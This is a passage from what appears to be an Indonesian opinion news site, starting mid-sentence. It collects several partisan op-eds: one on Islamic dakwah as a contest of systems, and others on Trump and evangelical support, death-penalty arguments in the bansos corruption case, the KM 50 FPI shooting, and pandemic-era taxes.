bandingkan gerakan dakwah dengan gerakan anti dakwah, sehingga jelas dimana posisi Dakwah Islamiyah? Mendahului atau didahului, menang atau kalah? Cara penilaan ini mengarahkan kita pada satu pengertian dakwah yang lebih luas dan komplek. Dakwah tidak boleh lagi dipahami sebagai mengajar dan pidato di mimbar, melainkan segala upaya untuk mengalahkan gerakan anti dakwah. Termasuk yang penting tentu saja, adalah duduk di belakang meja bergelut dengan informasi dan data tentang apa saja yang dilakukan dan direncanakan lawan serta menganalisa informasi tersebut. Apa pengaruhnya terhadap kerja dawah? Merujuk pada Alqur’an, Rasulullah Sallaahu Alaihi Wasallam diutus untuk missi yang jelas dan tegas, yaitu li yudzhirohu ‘alad dini kullih. Untuk memenangkan (sistem) Islam di atas semua (agama) sistem tatanan kehidupan yang ada. Itulah ultimate goal Dakwah Islamiyah. Ke arah itulah gerakan dakwah ditujukan. Itu pula tolok ukur keberhasilan Dakwah Islamiyah. Ada tiga ayat yang menegaskan tujuan konkrit diutus-Nya Rasulullah Sallaahu Alaihi Wasallam itu, yang tentu saja sekaligus menjadi missi dan orientasi dakwah kita sepanjang zaman. Attaubah (9) : 33, Alfath (48) : 28 dan As Shaf (61) : 9. Dialah (Allah) yang telah mengutus Rasul-Nya (Muhammad) dengan membawa petunjuk dan dien (sistem tatanan kehidupan) yang haq (yakni Islam), agar dimenangkan-Nya (Islam itu) di atas segala sistem tatanan kehidupan yang ada, sekalipun orang-orang musyrik itu tidak menyukainya (membencinya.) (QS 9:33; 61:9) (Pada QS 48:28, anak kalimat wa lau karihal musyrikun (walau pun orang-orang musyrik membencinya) yang ada pada QS 9 : 33 dan 61 : 9 diganti dengan wa kafa billahi syahida (cukuplah Allah menjadi saksi atas kemenangan itu) Missi memenangkan Islam, mendzahirkan (mengeksiskan) Islam di atas semua sistem yang ada, memberi pengertian yang jelas bahwa sesungguhnya Rasulullah Sallaahu Alaihi Wasallam diterjunkan ke arena untuk bertarung. Sebab, tidak ada kemenangan tanpa ada pertarungan. Berdakwah pada hakekatnya adalah bertarung. Dengan demikian, dunia ini sejatinya adalah sebuah arena kompetisi atau pentas pertarungan dua sistem tatanan kehidupan, atau sebutlah ideologi, Islam dan bukan Islam. Dalam hal ini, Islam wajib menang. Anak kalimat “sekalipun orang-orang musyrik membencinya” atau “dan cukuplah Allah menjadi saksi (atas kemenangan itu)” pada ayat-ayat tadi, mempertegas, adanya pertarungan itu. Mempertegas adanya upaya-upaya serius untuk melemahkan atau bahkan menghentikan gerakan dakwah. Pengulangan ayat-ayat yang senada seperti di atas, tentulah dapat dimaknai bahwa Allah bermaksud memberikan tekanan kuat akan pesan yang terkandung di dalamnya agar ummat Islam sadar. Tidak lengah, atau melupakannya barang sekejap. Begitu penting pesan bertarung untuk mememenangkan sistem Islam, yang terkadung dalam ayat itu, sehingga Allah mengulang-ulangnya agar umat Islam jangan sampai lupa. Tetapi, inilah musibah besar yang melanda ummat Islam kini. Kebanyakan mereka memang lupa, bahkan tidak sadar dan tidak merasa bahwa mereka sesungguhnya sedang bertarung. Bagaimana mungkin dapat tampil sebagai pemenang, kalau merasa bertarung saja pun tidak? Tentulah mereka tak menyiapkan diri secara mental dan fisik untuk betartarung. Tidak siap menyuarakan hal-hal fundamental tentang ke-Islaman karena khawatir akan menyinggung atau menarik perhatian negatif penganut ideologi lain. Takut kalau-kalau kaum musyrik, kafir atau munafiq akan marah dan membenci. Mereka ingin tampil sebagai orang “baik” di mata semua orang termasuk di mata penyeru kebathilan. Mereka tidak sadar sedang bertarung. Tidak sadar pula kalau sesungguhnya mereka punya lawan, dan karenanya sering-sering lawan dijadikan kawan dan kawan dijadikan lawan. Sebaliknya, kalau mendapat serangan pukulan dari penganut ideologi lain, hanya bisa mengeluh, merasa didzalimi dan diperlakukan tidak adil. Padahal dalam satu pertarungan, tinju misalnya, lawan memang menginginkan mereka KO. Maka, saksikanlah bagaimana nasib mereka di negeri berpenduduk muslim terbesar di dunia ini. Tidak berdaya di semua aspek IPOLEKSOSBUDHANKAM. Meski mayoritas, bobot mereka tak ubahnya buih. Tidak berdaya menghadapi gerakan anti dakwah. Tidak punya mental petarung, cukup puas dengan hanya diberi gula-gula. Mungkin gula-gula itu berupa pakaian muslim yang dikenakan pejabat, terutama di masa kampanye, atau dikirimi hewan qur’ban. Kadang shalat berjemaah yang diekpose secara luas. Sebagai sebuah sistem kehidupan, Islam meliputi semua aspek kehidupan. Dalam konteks Indonesia, bisalah kita menyebutnya IPOLEKSOSBUDHANKAM. Maka pertarungan yang dimaksud antara Dakwah Islamiyah versus anti dakwah, setidaknya meliputi semua aspek IPOLEKSOSBUDHANKAM itu. Pada aspek-aspek itu pula keberhasilan atau kegagalan dakwah dinilai. Sejauh mana Dakwah Islamiyah mewarnai aspek-aspek IPOLEKSOSBUDHANKAM. Tentu aku tidak bermaksud melakukan evaluasi Dakwah Islamiyah secara lebih detail dalam tulisan ini. Biarlah hal itu dilakukan pemikir Islam lainnya. Yang pasti, Dakwah Islamiyah saat ini memang sedang menghadapi tantangan yang nyata besar dan berat. Persoalan besar dan mendasar internal umat Islam adalah mereka tidak merasa sedang bertarung. Mereka merasa mencukupkan dengan apa yang bisa dicapai. Meskipun itu hanya sebatas gula-gula. Ya, bagaimana mungkin Guru Besar Perguruan Tinggi Islam merasa puas mendapat gula-gula di tengah tumpukan besar harta benda berharga? Inilah musibah besar umat Islam. Wallahu a’lam bisshawab. Penulis adalah Sekjen Masyumi Reborn.

Donald Trump Sang “Imam Besar”

by Zainal Bintang Jakarta FNN - Di tangan Donald Trump, seorang pengusaha tanpa tradisi eksekutif dan politik dalam jejak kehidupannya, bahkan tidak punya anjing piaraan. Nmaun bangunan demokrasi di Amerika Serikat dibuat porak-poranda. Tradisi demokrasi yang menjadi kebanggaan dan andalan utama Amerika Serikat di dunia selama satu setengah abad nyaris kehilangan bentuk. Luas diketahui Trump tidak pernah mengikuti pendidikan wajib militer. Dengan alasan ada kelainan pada bagian kaki. Ada taji, semacam di tulang kakinya. Tidak meloloskannya mengkuti wajib militer untuk Perang Vietnam. Diapun tidak pernah memangku jabatan publik, semisal anggota DPR (House Of Representative) atau anggota senat atau gubernur negara bagian. Tidak ada semua itu. Trump menjadi orang pertama di Amerika yang menjadi pemimpin tertinggi, semata-mata hanya dengan tradisi pengusaha di dalam darahnya. Sebelum terjun ke dunia politik menjadi orang nomor satu di Amerika, Trump memang dikenal sebagai taipan real-estate dan pebisnis. Jaringan bisnisnya termasuk hotel, kasino, lapangan golf, resor, dan properti hunian di wilayah New York City dan beberapa negara di seluruh dunia, termasuk di Indonesia. Itulah yang membantu menjelaskan mengapa di dalam diri Trump tidak ada kepekaan politisi. Membuatnya seperti sopir mobil angkot, suka menerobos lampu merah. Doyan tabrak lari dari aturan selama 4 tahun memerintah di Amerika. Trump memainkan obsesi sebagian rakyat fanatikus kulit putih Amerika yang mayoritas Kristen. Dalam salah satu artikelnya yang berjudul “Skenario Fatamorgana”, Dahlan Iskan (2021) menulis, “di kalangan kelompok pendukung Trump, yakni mereka yang percaya bahwa Amerika Serikat itu aslinya didirikan sebagai negara Kristen kulit putih. Yang sekarang lagi dibelokkan oleh kekuatan rahasia pemuja setan. Mereka merasa wajib berjuang mengembalikan Amerika sesuai dengan misi saat didirikannya”. Mike Pompeo sendiri saat mengakhiri jabatannya sebagai Menteri Luar Negeri menegaskan, multikulturalisme bukanlah Amerika, tulis Dahlan yang mengutip cuitan Pompeo di twitternya. Pompeo melanjutkan, memang, belakangan kalau ditanya siapa Amerika itu, jawabnya adalah negara multikultural. “Tapi tokoh pendukung Trump sekelas Pompeo pun secara tidak langsung ingin menegaskan bahwa Amerika adalah itu tadi”. Melansir media Amerika, Tony Firman, menulis (2019) “orang-orang Evangelis yang tak memilih Trump adalah orang bodoh. Mereka benar-benar orang bodoh yang tidak memiliki pendirian dan tidak dapat mengakui bahwa dirinya salah," ujar Robert Jeffress di radio Fox News yang dipandu oleh penyiar Todd Starnes, pada suatu hari di tahun 2019. Robert Jeffress adalah seorang pendeta Evangelis dari Gereja First Baptist, Dallas, Amerika Serikat, yang cukup tersohor. Dalam bincang-bincang di radio waktu itu, Jeffress blak-blakan menyatakan dukungan, dan tidak sungkan-sungkan mengajak jemaatnya untuk menyokong Presiden Donald Trump yang menurutnya sedang memperjuangkan nilai-nilai khas Kristen Evangelis. “Ini masalah hidup dan mati. Ini sangat hitam dan putih, kebaikan versus kejahatan”. Bagi Jeffress, “memilih Trump adalah harga mati”. Tak hanya Jeffress yang mengambil sikap demikian. Pemuka agama Kristen Evangelis lainnya seperti Jerry Falwell Jr. yang menjabat penasihat Trump, menempatkan Trump sebagai "presiden impian". Franklin Graham, CEO Billy Graham Evangelistic Association, dalam unggahannya di Facebook mengatakan Trump terpilih sebagai presiden berkat campur tangan Tuhan. Mayoritas penganut Evangelis Amerika memang sangat mengidolakan sosok Donald Trump. Saat Pilpres Amerika 2016, exit poll yang dilakukan Washington Post menunjukkan 80% Evangelis kulit putih memilih Trump sebagai presiden. Ini adalah dukungan suara Kristen Evangelis terbesar di dua dekade terakhir. Dukungan Evangelis ke lawan Trump, Hillary Clinton dari Partai Demokrat, hanya sekitar 16%. Nah, kembali ke Indonesia, seorang teman wartawan senior mengirimkan pesan Whatsapp mengatakan, apabila kasus Trump dianalogikan dengan situasi kondisi dan budaya Indonesia, maka Donald Trump pujaan Kristen Protestan Evangelis itu adalah semacam “Imam Besar” di negeri kita. “Semua fatwanya dianggap benar dan sakral. Makanya wajib dilaksanakan”. Sikap itu terlihat dalam kasus serangan pendukung Trump ke Capitol Hill. “Kendati jauh dari standar moralitas Kristen, Donald Trump terus mendapat dukungan dari Kristen Evangelis”. Sebab fatwa sesat sang “Imam Besar” Donald Trump telah mengakibatkan kerusuhan besar pada 6 Januari 2021, yang berujung pengrusakan gedung parlemen di Washington DC. Terjadi penjarahan laptop Nancy Pelosi ketua DPR dari Demokrat, musuh bebuyutan Trump. Sementara itu Jaksa Amerika yang secara agresif mengejar pelaku serangan Gedung Capitol, telah mengidentifikasi hampir 300 orang yang dicurigai terlibat. Ditengarai sebagai pendukung Trump. Meskipun ada bantahan. Tindak kekerasan tersebut telah menewaskan empat orang. Diantaranya seorang wanita dan petugas kepolisian. Catatan hitam itu sampai hari Jumat 15 Januari. Jika ditarik analogi terhadap dinamika paradoksal yang sedang terjadi di Amerika saat ini, seakan-akan dari layar televisi terpantul sebuah sebuah flash back kehidupan. Kehidupan yang secara konservatif alphabetis normatif bergulir, dari inferno (neraka) ke purgatorio (tempat pensucian) dan puncaknya di paradiso (surga), sebagaimana tertera dalam puisi Dante Alighieri. Penulis kelahiran Italia itu menulis karyanya yang berjudul "Divina Comedia” (Komedi Ilahi) hampir tujuh abad yang lalu. “Divina Comedia” adalah puisi naratif yang panjang. Puisi ini secara luas dianggap sebagai karya unggulan dalam sastra Italia. Hanya saja hari ini yang terbaca di Amerika adalah kebalikan dengan puisi Dante, alias new normal, dari paradiso bergerak mundur ke purgatorio dan balik kembali menuju ke inferno. “Kekacauan” situasi di Amerika adalah buah karya Trump. Karya yang membuat bangsa itu bagaikan sedang berada di dalam bara panas api neraka (inferno). Melahirkan perlawanan budaya yang mengerikan, yaitu homo homini lupus (manusia adalah serigala bagi sesamanya). Sebuah penjungkirbalikan pesan moral atas karya Dante Alighieri. Apapun kata dunia, toh faktanya sang “Imam Besar” telah menyeret demokrasi Amerika mundur jauh ke belakang. Kenyataan ini menurut beberapa pengamat politik luar dan dalam negeri, “pandemi” demokrasi yang dihembuskan Donald Trump ke dalam tubuh AS, membuat Joe Biden presiden terpilih AS ke 46. Pengganti Trump ini, memerlukan waktu yang tidak sedikit untuk menemukan vaksin, sebagai upaya meningkatkan imunitas bangsa Amerika guna membangun kembali reruntuhan kepercayaan masyarakat dunia. “Penghinaan” terhadap keampuhan “obat kuat” Amerika yang bernama demokrasi telah tersaji. Dunia mencemooh propaganda “obat kuat” itu. Demokrasi Amerika rentan dihajar oleh masyarakat Amerika sendiri. Itu di Amerika sendiri. Oleh presiden Ameika sendiri, Donald Trump sang “Imam Besar” itu. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Pidana Mati Untuk Korupsi Bansos, Itu Sangat Logis

by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Juliari Peter Batubara, mantan Menteri Sosial Republik Indonesia itu telah ditetapkan sebagai tersangka. Juliari tersangkut kasus dugaa korupsi dana Bantuan Sosial (Bansos) di Kementerian yang dipimpinnya. Ia akhirnya, entah minta berhenti, atau diberhentikan oleh Presiden dari jabatan itu. Geram dengan korupsi dana untuk oran miskin ini, maka bergemalah pidana mati untu para pelakunya. Komisi Pemberantsan Korupsi (KPK), begitu gema tuntutan itu. KPK tidak boleh kehilangan nyali untuk menuntut Juliari dan kawan-kawannya dengan pidana mati. Mereka dianggap keterlaluan. Bantuan negara untuk orang fakir dan miskin, ko masih dimakan juga. Keterlaluan biadab memang. Begini Kuncinya Apakah bansos kepada rakyat miskin, ditengah keadaan ekonomi yang sangat berantakan, dan daya beli masyarakat yang terus bergerak turun, dapat dijadikan justifikasi mengenakan pidana mati kepada para pelaku tindak pidana ini? Apa uang yang akan diserahkan kepada Juliari dapat dikategori uang suap? Bisakah uang itu dikategori sebagai keuangan negara? Ya uang negara? Apakah uang yang ketika disita penyidik KPK terlihat bertas-tas besar itu adalah uang negara? Mungkinkah secara hukum, uang yang terlihat berasal dari penyuap alias swasta, tak memiliki sifat dan kapasitas hukum sebagai uang negara? Itulah soal-soal elementer hukum, yang harus dibuat jelas oleh penyidik KPK. Mengapa? Hukum korupsi itu punya kriteria jelas. Pelaku tindak pidana korupsi dapat dipidana mati bila terdapat dua syarat atau keadaan hukum. Pertama, uang yang dikorupsi harus uang yang secara hukum, nyata-nyata memiliki sifat sebagai uang negara. Kedua, tempus (waktu) terjadi tindak pidana (delic) itu harus bersifat absolut, terjadinya keadaan bencana. Soal-soal di atas harus dibuat terang hukumnya oleh Penyidik KPK, suka atau tidak. Tidak bisa main pakai pidana mati saja. Penyidik harus mampu menemukan keadaan-keadaan itu. Setelah itu, barulah muncul justifikasi untuk pidana mati. Tanpa keadaan-keadaan itu, tidak bisa dipakai hukum pidana mati. Apakah penyidik KPK punya kemampuan untuk menemukan sifat keuangan negara pada uang yang dipakai menyuap Juliari itu? Dengan cara apa penyidik memasuki dan menemukannya? Satu-satunya cara yang tepat secara hukum adalah melakukan interpretasi. Tetapi bukan interpretasi analogi. Sebab hukum pidana tidak memberi tempat untuk itu. Berbahaya risikonya. Lalu harus pakai interpretasi apa? Bagaimana step-stepnya menurut kaidah keilmuan hukum? Sukarkah soal ini? Tidak sama sekali. Penyidik, dalam kerangka itu, dapat menggunakan interpretasi tekstual dengan pendekatan ejusdem generis. Penyidik harus mengawali interpretasinya dengan memeriksa fakta. Lalu secara deduktif menginferensinya dengan kaidah hukum. Dalam inferensi ini, penyidik harus benar-benar memeriksa. Kata Ali, pejabat humas KPK, seperti dilansir Liputan6.com (27/1/2021) KPK telah memeriksa Budi Pamungkas. Budi diminta keterangan terkait keikutsertaan perusahaannya dalam menyediakan paket bansos. Tidak itu saja. Budi juga dimintai keterangan tentang teknis pembayaran atas kerjasama pengadaan bansos untuk wilayah Jabodetabek tahun 2020 di Kemensos. Temukan Uang Negara Keterangan ini menaik. Apanya yang menarik? Proyek ini telah berjalan. Pembayaran telah dilakukan. Kenyataan ini bernilai sebagai penentu. Dimana letak penentunya? Proyek ini telah berjalan, dan uang negara telah keluar dari kas negara untuk mebayar paket bansos. Masalahnya sekarang uang swastakah yang mau diberikan kepada Juliari? Uang itu murni berasal dari pengusha? Apakah uang itu dapat dikategorikan sebagai keuntungan pengusaha? Sebab memperoleh keuntungan dalam berusaha itu soal biasa. Masalahnya, apakah keuntungan itu turut dirancang oleh pejabat pengguna barang dan jasa itu atau tidak? Ini harus dibuat sejelas-jelasnya oleh penyidik KPK. Agar jelas, maka tidak ada pilihan lain, selain soal-soal berikut dibuat jelas oleh penyidik KPK. Apakah jenis dan jumlah barang memiliki nilai uang setara Rp. 300.000,- (tiga ratus ribu rupiah) atau tidak? Apakah jenis dan jumlah barang bantuan itu tidak setara dengan nilai uangnya Rp. 300.000,- tetapi tetap dihargai setara Rp.300.000,- Sekali lagi, soal-soal diatas harus dibuat jelas oleh penyidik KPK. Bila dapat dilakukan secara meyakinkan oleh KPK, maka dapat diketahui ada atau tidak mark-up harga. Semoga tidak ada mark-up. Bagaimana kalau ada mark-up? Apa konsekuensi hukumnya? Konsekuensinya penyidik harus memperoleh fakta yang secara jelas menerangkan kesesuaian angka Rp.300.000 dengan jenis dan jumlah barang. Dalam hal tidak terdapat kesesuaian antara angka Rp. 300.000 dengan jenis dan jumlah barang, maka penyidik menggunakan fakta itu sebagai dasar konstruksi tentang sifat jumlah uang atas harga barang itu. Konstruksinya bisa seperti ini. Agar terlihat tak melawan hukum, maka selisih harga barang, yang seharusnya tidak perlu ada atau terjadi, tetapi tetap diadakan. Lalu diintegtrasikan ke dalam anggaran bansos. Cara itu menjadi pijakan penyidik memasuki konstruksi atas sifat uang itu. Itu fase krusial. Pada titik ini, suka atau tidak penyidik harus melakukan interpretasi terhadap uang Bansos perpaket itu. Adakah selisih lebih didalamnya? Dalam hal ada selisih lebih di dalam anggaran Bansos perpaket, maka tersedia jalan kristalisasi sifat hukum uan itu sebagai keuangan negara. Penyidik, mau tau mau harus melakukan interpretasi. Metodenya tak mungkin lain selain tekstualis. Interpretasi, tidak lain merupakan kontruksi menurut istilah Profesor Sudikno Mertokusumo menemukan hukum. Ini sangat eksplosif. Lalu bagaimana inferensinya? Inferensinya begini. Selisih lebih uang, sebut saja Rp. 10.000. (sepuluh ribu rupiah) per paket, sebagai fokus interpretasi tekstual. Pendekatannya ejusdem generis. Pendekatan ini mengharuskan penyidik fokus pada terminologi “keuangan negara”. Terminologi ini jelas didefenisikan pada pasal 1 angka 1 UU Nomor 17 Tahun 2003 Tentang Keuangan Negara. Pada titik itu penyidik harus fokus menemukan sifat selisih uang sebesar Rp. 10.000,- per paket. Bila nyata-nyata uang selisih lebih sebesar Rp. 10.000,- yang itu dimaksudkan untuk dijatahi kepada Juliari, terlepas dari jumlah akumulatifnya, maka interpretasi tekstualis dengan pendekatan ejusdem generis jadi begini. Uang sebesar Rp.10.000. itu adalah spesis dari uang yang dianggarkan untuk bansos. Jadi, total uang untuk kegiatan Bansos, yang sebesar Rp. 300.000. per paket itu adalah genusnya. Sedangkan uang Rp 10.000,- per paket, yang berasal dari anggaran bansos ini adalah spesisnya. Kongklusinya adalah uang sebesar Rp. 10.000,- itu merupakan spesis dari genus (uang untuk seluruh anggaran bansos sebesar Rp. 300.000,- per paket). Konsekuensi konstruksi hukumnya menjadi begini, uang sebesar Rp. 10.000,- yang merupakan selisih lebih dari harga yang seharusnya, mutlak memiliki sifat hukum sebagai keuangan negara. Hukumnya jelas kasus ini bukan penyuapan. Peluang Terbuka Lebar KPK seperti dilansir (liputan6.com) sedang menyelisik peran dan arahan khusus dari mantan Menteri Sosial Juliari Peter Batubara dalam pengadaan bantuan sosial (bansos) untuk wilayah Jabodetabek di Kementerian Sosial tahun anggaran 2020. Penyidik KPK memeriksa Ex ADC Mensos Eko Budi Santoso pada hari ini, Rabu (27/1/2021). Eko diperiksa sebagai saksi untuk tersangka Juliari Batubara. "Eko Budi Santoso didalami pengetahuannya terkait peran dan arahan khusus tersangka Juliari Peter Batubara. Peran dalam hal apa? Penentuan jenis dan jumlah barang? Termasuk harganya? Dua hal ini, saya cukup yakin, menjadi episentrum penyidikan KPK. Tetapi saya juga berharap penyidik KPK tidak menemukan fakta itu. Sebab bila penyidik menemukan fakta itu, maka kelebihan harga Rp. 10.000 ,- per paket akan menjadi terang. Terang dalam makna uang Rp.10.000,- yang menjadi selisih lebih itu dirancang secara sadar, atau dimaksudkan untuk dikembalikan kepada pejabat. Hukumnya jelas. Hukumnya adalah tindak pidana. Sekali lagi, ini bukan penyuapan, sebagaimana diatur dalam Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang (UU) Pemberantasan Tindak Pidana Korupsi. Tindak pidana ini lebih tepat diterapkan Pasal 2 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi. Pasal ini membenarkan terdakwanya dituntut dengan pidana mati. Ayat (2) pasal ini mengatur norma adanya keadaan tertentu. Apakah pandemi Covid-19, dinyatakan secara resmi oleh pemerintah sebagai bencana non alam atau tidak? Secara hukum itu tidak menentukan determinatif. Mengapa? Kenyataannya, pandemi itu nyata-nyata ada. Ini telah menjadi kenyataan umum. Keadaan itu juga menjadi dasar Mensos keluarkan paket Bansos. Masalahnya bagaimana memberi nilai dan sifat hukum terhadap kenyataan (pandemi covid-19) itu? Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Penembakan di KM 50 Jangan Seperti Kasus Novel Baswedan

by M. Rizal Fadillah Bandung FNN - Sejak hasil penyelidikan Komisi Nasional Hak Asasi Manusia (Komnas HAM) terkait penembakan enam anggota Laskar Front Pembela Islam (FPI) dilaporkan kepada Presiden dua minggu yang lalu hingga kini terlihat adama-yem saja. Tidak ada kebijakan atau perintah apapun yang diberikan Presiden untuk menuntaskan kasus pembunuhan enam anggota laskar FPI tersebut. Jika ada itikad baik dan serius, maka semestinya sudah ada langkah tindak lanjut dari pelaporan kepada Presiden. Kini bola berada di tangan Presiden. Mau diapakan hasil penyelidikan Komnas HAM yang telah menghebokan jagad politik dan hukum Indonesia itu, terserah pada Presiden. Mau didiamkan saja hasil penyelidikan Komnas HAM tersebut? Ataukah akan ditindaklanjuti dengan penyidikan yang menetapkan para pelaku penembakan sebagai tersangka? Peristiwa yang dikenal dengan “kasus kilometer 50 tol Jakarta-Cikampek (Japek)” ini, memang sejak awal penanganan oleh Komnas HAM sudah dinilai "bermasalah". Karena banyak kejanggalan yang dilakukan Komnas HAM dalam menyimpulkan hasil penyelidikan dan narasi rekomendasi. Fakta yang disampaikan pun terpotong-potong dan kurang lengkap. Komnas HAM membuat kesimpulan dengan loncat sana-loncat sini. Tidak runtun mengikuti temuan yang didapat di lapangan. Saking kecewanya, publik menginginkan adanya evaluasi dan pendalaman ulang kerja Komnas HAM yang tersksan sebagai hasil negoisiasi dan barter terhadap kematian orang. Kekecewaan itu sampai pada usul agar Komnas HAM dibubarkan saja. Hingga kini tidak diumumkan siapa-siapa saja pelaku penembakan yang telah melakukan pelanggaran HAM tersebut? Komnas HAM hanya mengumumkan bahwa pelakukan penmabakan adalah anggota Kepolisian. Padahal untuk menemukan pelakukan penembakan adalah pekerjaan paling mudah dan gampang. Namun oleh Komnas HAM dibuat menjadi berbelit-belit. Jadi teringat pada kasus penyidik sinior Komisi Pemberantasan Korupsi (KPK) Novel Baswedan dulu. Untuk menemukan siapa pelaku penyiram air keras ke mata Novel Baswedan, rupanya tidak gampang. Butuh waktu sampai tiga tahun lebih untuk menemukan pelakunya. Ternyata pelakunya adalah anggota Polisi sendiri. Sungguh sangat ironi. Untuk menemukan pelaku kejahatan pidana yang dilakukan anggota polisi, seperti yang terjadi pada Novel Baswedan, rupanya tidak mudah. Sangat sulit, sebab butuh waktu seribu hari lebih atau bertahun-tahun. Namun andaikan pelanggaran hukum itu yang dilakukan oleh masyarakat sipil, polisi terlihat bekerja sangat hebat, cepat dan canggih untuk menemukan pelakunya. Untuk kasus pidana teroris misalnya, polisi tampil sangat menghebokan. Namun berbeda antara langit dan bumi dengan kasus Novel Baswedan. Ujung dari cerita model Novel Baswedan ini adalah vonis hakim untuk pidana penjara selama 1,5 dan 2 tahun. Sementara aktor intelektual "bablas angine". Semoga kasus Novel Baswedan ini tidak terulah pada penembakan enam anggota Laskar FPI. Semoga saja tidak membutuhkan waktu tiga tahun juga untuk mengumumkan nama-nama pelaku pembunuh enam anggota laskar FPI di kilometer 50 tol Japek. Sebagaimana yang terjadi pada kasus Novel Baswedan. Haruskah dibawa berputar-putar dahulu hingga masa pemerintahan Jokowi usai? Atau sedang disusun skenario ceritra novel yang menarik dan terlihat logis untuk menyelamatkan wajah Kepolisian, instansi lain, dan presiden sendiri? Kejujuran itu lebih baik. Yang salah nyatakan salah, kalau ditutupi juga toh sejarah akan menjadi hakim kelak. Lebih baik buka saat ini, lalu selesailah masalah satu persatu. Jangan ditumpuk hingga berkarat. Sebab peristiwanya akan dicatat dengan tinta hitam nantinya sebagai rezim yang paling buruk dalam sejarah hukum Republik Indonesia. Tertunda, tetapi menyakitkan diri dan untuk anak cucu. Pembunuhan terhadao enam anggota laskar FPI disebut Komnas HAM sebagai pelanggaran HAM. Itu artinya bukan pembunuhan biasa. Harus cepat ditindaklanjuti dengan proses hukum. Jika mengambang tentu akan dikategorikan bahwa negara itu "unwilling" dan “unable". Artinya berlaku kepedulian universal yang menyebabkan lembaga peradilan internasional wajar dan harus ikut turun tangan. Kasus yang terjadi di kilometer 50 tol Japek jangan seperti Novel Baswedan. Apakah Novel Baswedan atau ceritra Novel yang memang bertele-tele? Masyarakat dunia sudah membaca duduk perkaranya. Semua terhalang hanya oleh kemauan politik yang terkesan sedang ditutup-tutupi. Pembunuhan oleh aparat ini terlalu sarat dengan bahasa politik. Political language is designed to make lies sound thruthful and murder respectable. Bahasa politik dirancang untuk membuat kebohongan itu terdengar jujur dan pembunuhan menjadi dihargai (George Orwell). Untuk itu, kasus kilometer 50 tol Japek ini harus segera tuntas, jangan menjadi narasi konspirasi politik yang dibuat bertele-tele. Penjahat kemanusiaan harus segera dihukum berat ! Penulis adalah Pemerhati Politik dan Kebangsaan.

Rakyat Diperas Habis

TIDAK ada lagi yang diharapkan selain meminta bantuan dari rakyat. Tidak ada lagi alasan, selain membuka diri dengan selebar-lebarnya kepada rakyat bahwa keuangan negara berada di zona merah. Coba diikuti betapa pemerintahan Joko Widodo-Ma'ruf Amin kini sedang dihadapkan pada situasi yang amat sulit. Berada dalam keadaan sulit di tengah pandemi Corona Virus Disease 2019 (Covid-19), juga dialami negara lain. Akan tetapi, yang membedakannya dengan Indonesia adalah karena pemerintah tetap ingin mengandalkan rakyat. Tidak mau memberlakukan penguncian atau lockdown, karena tidak ada uang yang bisa diberikan kepada rakyat untuk belanja kebutuhan hidup mereka. Pemerintah seolah-olah berupaya iba kepada rakyat, sambil terus memeras penghasilan rakyat, terutama rakyat menengah ke atas. Anda bisa bayangkan, di tengah kesulitan dan penderitaan ekonomi yang dirasakan rakyat, pemerintah masih mengajak mereka yang memiliki tabungan uang di atas Rp 100 juta agar belanja. Rakyat disuruh belanja dengan uangnya sendiri. Wow, keren sekali. Hebat sekali perhatian pemerintah terhadap rakyatnya. Mestinya pemerintah mengguyur uang ke rakyat, terutama rakyat memengah ke bawah, lalu disuruh membelanjakan uang itu habis-habisan. Anda tidak percaya ajakan berbelanja itu? Hal itu disampaikan Menteri Koordinator bidang Ekonomi Airlangga Hartarto. Katanya, masyarakat menengah ke atas cenderung menambah deposito atau tabungannya, ketimbang belanja. Padahal, belanja oleh rakyat menengah ke atas sangat diharapkan dapat membantu menggerakkan ekonomi. Akan tetapi, di balik ajakan halus itu, ternyata terselip juga akal busuk. Anda kan tahu, kalau belanja dalam jumlah besar, apalagi belanjanya di mal atau pasar modern, Anda pasti dikenakan Pajak Pertambahan Nilai (PPN). Wow, hebat kan. Ibarat kata pepatah, ajakan Airlangga itu adalah, "Sambil menyelam, minum air." Kalau ajakan itu diiringi dengan penghapusan pajak bolehlah. Akan tetapi, penghapusan PPN dan PPh saat ini hanya berlaku terhadap produk yang bersentuhan dengan kesehatan. Di luar itu tidak! Nah, itu baru cara menarik pajak dari kalangan menengah ke atas lewat ajakan berbelanja. Ajakan yang hampir sama juga dialamatkan kepada rakyat berpenghasilan bawah, dan bahkan berpengasilan pas-pasan. Ini menyangkut keputusan Menteri Keuangan Sri Mulyani yang akan menarik pajak atas pulsa telefon, kartu perdana, token listrik, dan voucher yang mulai berlaku hari ini, Senin, 1 Februari 2021. Meski mantan Direktur Pelaksana Bank Dunia itu sudah menjelaskan, pemajakan itu tidak berpengaruh terhadap harga item tersebut, namun masyarakat sudah terlanjur tidak percaya. Rakyat tidak percaya yang dikenakan pajak adalah operator dan distributornya. Artinya, yang kena pajak adalah pelaku usahanya, bukan konsumennya. Apa iya, pelaku usaha mau menalangi pajak itu? Apa ia, jika seorang pedagang pulsa telefon, misalnya beromset Rp 100 juta per bulan, mau mengurangi keuntungan dengan membayar pajak yang mestinya ditanggung konsumen atau pembeli? Penarikan pajak yang dituangkan dalam PMK Nomor 06/PMK.03/2021 itu pun menjadi pembicaraan di berbagai tempat. Bahkan, menjadi olok-olokan, karena Sri Mulyani menyebutkan tidak terpengaruh pada harga pembelian pulsa, kartu perdana, token listrik dan voucher, karena selama ini Pajak Pertambahan Nilai (PPN) dan Pajak Penghasilan (PPh) atas sejumlah item tersebut sudah berjalan. Pertanyaannya, kalau selama ini sudah berjalan, mengapa mengeluarkan aturan baru lagi? Lucu juga ya, si Ratu Utang ini. Tidak hanya ajakan belanja dan rencana pengenaan pajak pada pulsa atau kartu perdana, token listrik, dan voucher, pemerintah pun meluncurkan Gerakan Nasional Wakaf Uang. Gerakan ini merupakan salah satu program pengembangan ekonomi syariah guna mendukung percepatan pembangunan nasional. Peluncurannya dikakukan Presiden Joko Widodo. Ia menyebut potensi wakaf uang bisa mencapai Rp 188 triliun. Total wakaf uang yang ada di bank mencapai Rp 328 miliar hingga 20 Desember 2020, sedangkan project base wakaf sebesar Rp 597 miliar. Saat konprensi pers di Istana Negara secara virtual, Senin, 25 Januari 2021, Jokowi menyebutkan potensi wakaf sangat besar, mencapai Rp 2.000 triliun per tahun. Potensi wakaf uang, bisa menembus Rp 168 triliun. 